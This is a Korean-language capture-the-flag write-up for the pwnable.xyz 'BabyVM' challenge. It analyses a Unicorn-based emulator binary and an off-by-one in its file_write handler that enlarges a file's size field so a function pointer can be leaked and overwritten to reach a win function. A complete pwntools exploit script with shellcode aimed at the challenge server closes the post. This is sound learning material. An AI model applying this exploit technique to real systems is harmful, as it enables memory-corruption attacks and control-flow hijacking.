라업을 보고 풀려고 했는데, 보고 풀땐 풀더라도 확실하게 이해를 하고 넘어가야할 문제같다.
코드분석부터 차근차근 해 보자. 함수를 검색해도 잘 나오지 않는다.
main
int __cdecl main(int argc, const char **argv, const char **envp)
{
size_t program_size; // [rsp+28h] [rbp-1018h]
char program[4096]; // [rsp+30h] [rbp-1010h]
unsigned __int64 v6; // [rsp+1038h] [rbp-8h]
v6 = __readfsqword(0x28u);
memset(program, 0, sizeof(program));
setup();
puts("Run the default program? (y/n)");
if ( read_choice() == 'y' )
{
program_size = 255LL;
memcpy(program, default_program, 0xFFuLL);
}
else
{
puts("Send your program");
program_size = read_buffer(program, 0xFFFuLL);
}
puts("Running the vm");
run_vm(program, program_size);
return 0;
}
일단 메인함수의 구조는 꽤 간단하다. program변수를 4096만큼 memset으로 초기화를 시키고, setup함수를 호출한다. setup함수는 그리 중요하진 않으니 그냥 넘어가자.
이후 default program을 실행하겠냐는 문구를 출력하고 y를 입력하면 memcpy함수로 program변수에 default_program의 값을 0xff바이트만큼 복사한다.
만약 입력값이 y가 아니라면 read_buffer함수로 program변수에 0xfff만큼 입력을 받고 return값을 program_size변수에 넣는다.
조건문이 끝나면 run_vm함수의 인자로 program과 program_size를 넘겨주고 호출한다.
run_vm
void __cdecl run_vm(char *program, size_t program_size)
{
__int64 v2; // rax
uc_err_0 err; // [rsp+1Ch] [rbp-24h]
uc_engine *uc; // [rsp+20h] [rbp-20h]
uc_hook trace1; // [rsp+28h] [rbp-18h]
int64_t rsp_0; // [rsp+30h] [rbp-10h]
unsigned __int64 v7; // [rsp+38h] [rbp-8h]
v7 = __readfsqword(0x28u);
rsp_0 = 0x7FFFFFFFE000LL;
err = (unsigned int)uc_open(4LL, 8LL, &uc);
if ( err
|| (uc_mem_map(uc, 0x400000LL, 0x10000LL, 7LL),
uc_mem_map(uc, 0x7FFFFFFEF000LL, 0x10000LL, 7LL),
(err = (unsigned int)uc_mem_write(uc, 0x400000LL, program, program_size)) != 0)
|| (uc_hook_add(uc, &trace1, 2LL, hook_syscall, 0LL, 1LL, 0LL, 699LL),
uc_reg_write(uc, 44LL, &rsp_0),
(err = (unsigned int)uc_emu_start(uc, 0x400000LL, program_size + 0x400000, 0LL, 0LL)) != 0) )
{
v2 = uc_strerror((unsigned int)err);
printf("err (0x%x): %s\n", (unsigned int)err, v2);
uc_close(uc);
exit(-1);
}
uc_close(uc);
}
여기부터 멘붕이 씨게 왔음. 모르는 함수가 잔뜩 나온다 문제는 이 함수들은 검색해도 안나온다. c언어가 아닌가 싶기도 하다.
검색을 좀 하다보니 unicorn engine을 쓸 수 있게 하는 함수들인 것 같다.
요 사이트에 간단한 설명이 적혀있는데 qemu에 기반을 둔 CPU emulator라고 한다.
함수들의 정의도 되어 있는데, 이 함수들을 전부 분석해야하나 하다가 모르겠다
우선 default_program 먼저 분석해보자.
read
0x7ffdf5f4edd5: mov eax,0x0
0x7ffdf5f4edda: syscall
0x7ffdf5f4eddc: ret
write
0x7ffdf5f4eddd: mov eax,0x1
0x7ffdf5f4ede2: syscall
0x7ffdf5f4ede4: ret
open
0x7ffdf5f4ede5: mov eax,0x2
0x7ffdf5f4edea: syscall
0x7ffdf5f4edec: ret
#1
0x7ffdf5f4ed20: mov rbp,rsp
0x7ffdf5f4ed23: sub rsp,0x208
0x7ffdf5f4ed2a: mov edi,0x1
0x7ffdf5f4ed2f: lea rsi,[rip+0xb8] # 0x7ffdf5f4edee
0x7ffdf5f4ed36: mov edx,0x13
0x7ffdf5f4ed3b: call 0x7ffdf5f4eddd
what is yout name? 문자열을 출력해주는 부분이다.
#2
0x7ffdf5f4ed40: mov edi,0x0
0x7ffdf5f4ed45: lea rsi,[rbp-0x200]
0x7ffdf5f4ed4c: mov edx,0x20
0x7ffdf5f4ed51: call 0x7ffdf5f4edd5
rbp-0x200의 위치에 0x20바이트만큼 입력받는 부분이다.
#3
0x7ffdf5f4ed56: mov rcx,rax
0x7ffdf5f4ed59: mov edi,0x1
0x7ffdf5f4ed5e: lea rsi,[rip+0xa3] # 0x7ffdf5f4ee08
0x7ffdf5f4ed65: mov edx,0x3
0x7ffdf5f4ed6a: call 0x7ffdf5f4eddd
Hi 문자열을 출력해준다.
#4
0x7ffdf5f4ed6f: mov edi,0x1
0x7ffdf5f4ed74: lea rsi,[rbp-0x200]
0x7ffdf5f4ed7b: mov rdx,rcx
0x7ffdf5f4ed7e: call 0x7ffdf5f4eddd
rbp-0x200에 있는 문자열(앞서 입력한)을 출력해줌
#5
0x7ffdf5f4ed83: lea rdi,[rip+0x77] # 0x7ffdf5f4ee01
0x7ffdf5f4ed8a: call 0x7ffdf5f4ede5
./flag 파일을 open한다
이때
syscall이 call되었을 때 rax의 값에 따라 호출되는 함수가 다른데, 0, 1, 2의 값 중 하나가 아니라면 에러를 뿜는다.
여기서 rax의 값은 0x2이 때문에 sys_open함수가 호출되는데,
조건문에 do_open 함수의 인자로 path가 들어간다 이때 path에 담겨 있는 값은 당연히 "./flag"
open_file의 값
만큼 반복문을 돌면서 files 전역변수의 path와 인자로 받은 path가 같아면 해당 files의 fd를 return해준다.
여기서 files의 구조체를 잠깐 살펴보자
#6
0x7ffdf5f4ed8f: mov rdi,rax
0x7ffdf5f4ed92: lea rsi,[rbp-0x200]
0x7ffdf5f4ed99: mov edx,0x200
0x7ffdf5f4ed9e: call 0x7ffdf5f4edd5
open한 파일의 fd(0x2)를 인자로 이번엔 rbp-0x200의 위치에 0x200만큼 입력을 받는다. 여기서 입력을 받을 때에는 std_read가 아닌 위 사진에 나와있는 것처럼 file_read함수를 사용하게 된다.
해당 fd에 있는 content를 buffer변수에 입력한다.
#7
0x7ffdf5f4eda3: mov rcx,rax
0x7ffdf5f4eda6: mov edi,0x1
0x7ffdf5f4edab: lea rsi,[rip+0x59] # 0x7ffdf5f4ee0b
0x7ffdf5f4edb2: mov edx,0x13
0x7ffdf5f4edb7: call 0x7ffdf5f4eddd
read의 반환값(입력된 값의 크기)을 rcx에 넣어준다.
Reading ./flag...라는 문자열을 출력해준다.
#8
0x7ffdf5f4edbc: mov edi,0x1
0x7ffdf5f4edc1: lea rsi,[rbp-0x200]
0x7ffdf5f4edc8: mov rdx,rcx
0x7ffdf5f4edcb: call 0x7ffdf5f4eddd
0x7ffdf5f4edd0: call 0x7ffdf5f4eded
fd에 1의 값을 넣고, rbp-0x200에 담겨있는 값을 0x200만큼 출력해준다. 결국 여기서 출력되는 것은
files 전역 변수의 fd가 2인 값에 있는 content를 출력해주는 것인데,
content의 값은 this_is_not_the_flag이다. 그래서 실제 ./flag의 값이 아닌 이 값이 출력되는 것
Exploit
이제 익스 시나리오를 짜 보자.
program을 입력받을 수 있는 공간을 0x1000이나 준 이유가 있었다.
다시 한번 do_open함수를 보자
open_files에는 3이라는 숫자가 들어있다. 첫번째 반복문과 그 다음 나오는 조건문이 끝나면 files[3]의 주소를 file 변수에 넣는다. 그리고 path변수의 값을 file→path에 0x24바이트만큼 복사해주고, ops.fops_read에 file_read함수의 값을 ops.fops_write에 file_write함수의 값을 넣어준다.
이렇게 새로운 fd를 만들어주기 위해서 새로운 파일 이름으로 open함수를 호출해줄 것이다.
이제 이 fd(3)으로 read나 write의 syscall을 호출하면 file_read와 file_write함수로 호출하게 된다.
그리고 코드가 나오는 영역 밑에 "./test"라는 문자열을 넣어주자. 이 문자열을 포함해서 0x24바이트 이후에 content영역의 값을 써 줄 것이다. 이 영역의 크기는 0x200바이트이고, 이 다음 8바이트가 사이즈, 그 다음에 file_read와 file_write함수가 온다.
- ./test를 open
- fd를 3, rsi를 content로 만들어 놓은 0x200바이트짜리 dummy가 들어있는 주소, rdx로 0x200보다 큰 수를 인자로 file_write함수를 호출.
여기서 취약점이 발생한다.
size가 .0x200보다 크기 때문에 size는 0x200으로 설정되고, memcpy함수로 size보다 1 큰 수만큼 buffer에서 content로 옮겨담기 때문에 만약 content의 마지막 바이트가 0xff라면 사이즈는 0x200에서 0x2ff로 덮인다. 여기까지의 과정을 그림으로 표현하면 이렇게 된다.
- 사이즈를 0x2ff로 늘리면 file_read나 file_write의 주소까지 읽어오거나, 덮어쓸 수 있게 된다. 이렇게 해 놓은 상태에서 file_read함수를 호출하면 0x2ff만큼 읽어올 수 있는데, 이 크기를 저장할 수 있는 빈 공간을 확보해놓자.
- 읽어온 content + file_read+file_write의 값은 내가 확보해 놓은 빈 공간에 저장해 놓은 상태에서 그 주소 + 0x208을 하면 file_read함수의 주소를 가져올 수 있게 된다. 이 주소와 win함수 주소의 offset을 구해서 빼거나 더해준 후 syscall read를 하면 win함수가 호출된다.
ex.py
from pwn import*
context(arch='amd64',os="linux")
env = {"LD_PRELOAD": os.path.join(os.getcwd(), "libunicorn.so.1")}
#p = process("./challenge", env=env)
p = remote("svc.pwnable.xyz", 30044)
#pie = p.libs()['/home/pwnstar/CTF_wargame/skagns/pwnable_xyz/babyvm/challenge']
#bp1 = pie + 0x00000000000016DF
script = '''
b*{}
'''#.format(hex(bp1))
#gdb.attach(p, script)
shellcode = '''
lea r8,[rip+0x1f9]
lea r9,[rip+0x21c]
lea r10,[rip+0x42b]
mov rbp,rsp
sub rsp,0x208
mov rdi,r8
call sys_open
mov rdi,3
mov rsi,r9
mov rdx,0x210
call sys_write
mov rdi,3
mov rsi,r10
call sys_read
mov qword ptr [r9+0x200],0x210
mov r12,qword ptr[r10+0x208]
sub r12,0x172B
add r12,0x1610
mov qword ptr[r9+0x208],r12
mov rsi,r9
call sys_write
call sys_read
sys_read:
mov rax,0
syscall
ret
sys_write:
mov rax,1
syscall
ret
sys_open:
mov rax,2
syscall
ret
'''
shellcode = asm(shellcode)
shellcode = shellcode.ljust(0x200, "\x90")
payload = "./test" + "\x00" * 0x24 + "\xff"*0x201
payload = payload.ljust(0x600, "\x00")
shellcode = shellcode + payload
shellcode = shellcode.ljust(0x1000, "\x00")
p.sendlineafter("(y/n)\n", "n")
p.sendafter("program\n", shellcode)
p.interactive()
소스코드는 모든 아래 블로그들을 보고 참고하며 작성했다.
참고
https://wogh8732.tistory.com/240?category=754118
https://mineta.tistory.com/135?category=735547
https://rninche01.tistory.com/entry/Pwnablexyz-BabyVM
Uploaded by Notion2Tistory v1.0.0